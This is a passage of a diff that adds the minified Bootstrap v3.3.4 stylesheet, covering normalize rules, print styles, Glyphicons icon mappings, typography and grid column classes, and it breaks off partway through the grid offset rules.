+1,5 @@ +/*! + * Bootstrap v3.3.4 (http://getbootstrap.com) + * Copyright 2011-2015 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + *//*! normalize.css v3.0.2 | MIT License | git.io/normalize */html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{margin:.67em 0;font-size:2em}mark{color:#000;background:#ff0}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{height:0;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{margin:0;font:inherit;color:inherit}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}input{line-height:normal}input[type=checkbox],input[type=radio]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{padding:.35em .625em .75em;margin:0 2px;border:1px solid silver}legend{padding:0;border:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print{*,:after,:before{color:#000!important;text-shadow:none!important;background:0 0!important;-webkit-box-shadow:none!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="javascript:"]:after,a[href^="#"]:after{content:""}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff!important}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000!important}.label{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #ddd!important}}@font-face{font-family:'Glyphicons Halflings';src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format('embedded-opentype'),url(../fonts/glyphicons-halflings-regular.woff2) format('woff2'),url(../fonts/glyphicons-halflings-regular.woff) format('woff'),url(../fonts/glyphicons-halflings-regular.ttf) format('truetype'),url(../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular) format('svg')}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\2a"}.glyphicon-plus:before{content:"\2b"}.glyphicon-eur:before,.glyphicon-euro:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphicon-open-file:before{content:"\e203"}.glyphicon-level-up:before{content:"\e204"}.glyphicon-copy:before{content:"\e205"}.glyphicon-paste:before{content:"\e206"}.glyphicon-alert:before{content:"\e209"}.glyphicon-equalizer:before{content:"\e210"}.glyphicon-king:before{content:"\e211"}.glyphicon-queen:before{content:"\e212"}.glyphicon-pawn:before{content:"\e213"}.glyphicon-bishop:before{content:"\e214"}.glyphicon-knight:before{content:"\e215"}.glyphicon-baby-formula:before{content:"\e216"}.glyphicon-tent:before{content:"\26fa"}.glyphicon-blackboard:before{content:"\e218"}.glyphicon-bed:before{content:"\e219"}.glyphicon-apple:before{content:"\f8ff"}.glyphicon-erase:before{content:"\e221"}.glyphicon-hourglass:before{content:"\231b"}.glyphicon-lamp:before{content:"\e223"}.glyphicon-duplicate:before{content:"\e224"}.glyphicon-piggy-bank:before{content:"\e225"}.glyphicon-scissors:before{content:"\e226"}.glyphicon-bitcoin:before{content:"\e227"}.glyphicon-btc:before{content:"\e227"}.glyphicon-xbt:before{content:"\e227"}.glyphicon-yen:before{content:"\00a5"}.glyphicon-jpy:before{content:"\00a5"}.glyphicon-ruble:before{content:"\20bd"}.glyphicon-rub:before{content:"\20bd"}.glyphicon-scale:before{content:"\e230"}.glyphicon-ice-lolly:before{content:"\e231"}.glyphicon-ice-lolly-tasted:before{content:"\e232"}.glyphicon-education:before{content:"\e233"}.glyphicon-option-horizontal:before{content:"\e234"}.glyphicon-option-vertical:before{content:"\e235"}.glyphicon-menu-hamburger:before{content:"\e236"}.glyphicon-modal-window:before{content:"\e237"}.glyphicon-oil:before{content:"\e238"}.glyphicon-grain:before{content:"\e239"}.glyphicon-sunglasses:before{content:"\e240"}.glyphicon-text-size:before{content:"\e241"}.glyphicon-text-color:before{content:"\e242"}.glyphicon-text-background:before{content:"\e243"}.glyphicon-object-align-top:before{content:"\e244"}.glyphicon-object-align-bottom:before{content:"\e245"}.glyphicon-object-align-horizontal:before{content:"\e246"}.glyphicon-object-align-left:before{content:"\e247"}.glyphicon-object-align-vertical:before{content:"\e248"}.glyphicon-object-align-right:before{content:"\e249"}.glyphicon-triangle-right:before{content:"\e250"}.glyphicon-triangle-left:before{content:"\e251"}.glyphicon-triangle-bottom:before{content:"\e252"}.glyphicon-triangle-top:before{content:"\e253"}.glyphicon-console:before{content:"\e254"}.glyphicon-superscript:before{content:"\e255"}.glyphicon-subscript:before{content:"\e256"}.glyphicon-menu-left:before{content:"\e257"}.glyphicon-menu-right:before{content:"\e258"}.glyphicon-menu-down:before{content:"\e259"}.glyphicon-menu-up:before{content:"\e260"}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857143;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.carousel-inner>.item>a>img,.carousel-inner>.item>img,.img-responsive,.thumbnail a>img,.thumbnail>img{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{display:inline-block;max-width:100%;height:auto;padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}[role=button]{cursor:pointer}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-weight:400;line-height:1;color:#777}.h1,.h2,.h3,h1,h2,h3{margin-top:20px;margin-bottom:10px}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small{font-size:65%}.h4,.h5,.h6,h4,h5,h6{margin-top:10px;margin-bottom:10px}.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-size:75%}.h1,h1{font-size:36px}.h2,h2{font-size:30px}.h3,h3{font-size:24px}.h4,h4{font-size:18px}.h5,h5{font-size:14px}.h6,h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:21px}}.small,small{font-size:85%}.mark,mark{padding:.2em;background-color:#fcf8e3}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#337ab7}a.text-primary:hover{color:#286090}.text-success{color:#3c763d}a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#337ab7}a.bg-primary:hover{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ol,ul{margin-top:0;margin-bottom:10px}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;margin-left:-5px;list-style:none}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.42857143}dt{font-weight:700}dd{margin-left:0}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[data-original-title],abbr[title]{cursor:help;border-bottom:1px dotted #777}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote ol:last-child,blockquote p:last-child,blockquote ul:last-child{margin-bottom:0}blockquote .small,blockquote footer,blockquote small{display:block;font-size:80%;line-height:1.42857143;color:#777}blockquote .small:before,blockquote footer:before,blockquote small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;text-align:right;border-right:5px solid #eee;border-left:0}.blockquote-reverse .small:before,.blockquote-reverse footer:before,.blockquote-reverse small:before,blockquote.pull-right .small:before,blockquote.pull-right footer:before,blockquote.pull-right small:before{content:''}.blockquote-reverse .small:after,.blockquote-reverse footer:after,.blockquote-reverse small:after,blockquote.pull-right .small:after,blockquote.pull-right footer:after,blockquote.pull-right small:after{content:'\00A0 \2014'}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.25);box-shadow:inset 0 -1px 0 rgba(0,0,0,.25)}kbd kbd{padding:0;font-size:100%;font-weight:700;-webkit-box-shadow:none;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857143;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1170px}}.container-fluid{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{margin-right:-15px;margin-left:-15px}.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:auto}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:auto}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-0{margin-left:0}@media (min-width:768px){.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:auto}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:auto}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0}}@media (min-width:992px){.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:auto}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:auto}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0}}@media (min-width:1200px){.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:auto}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:auto}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-l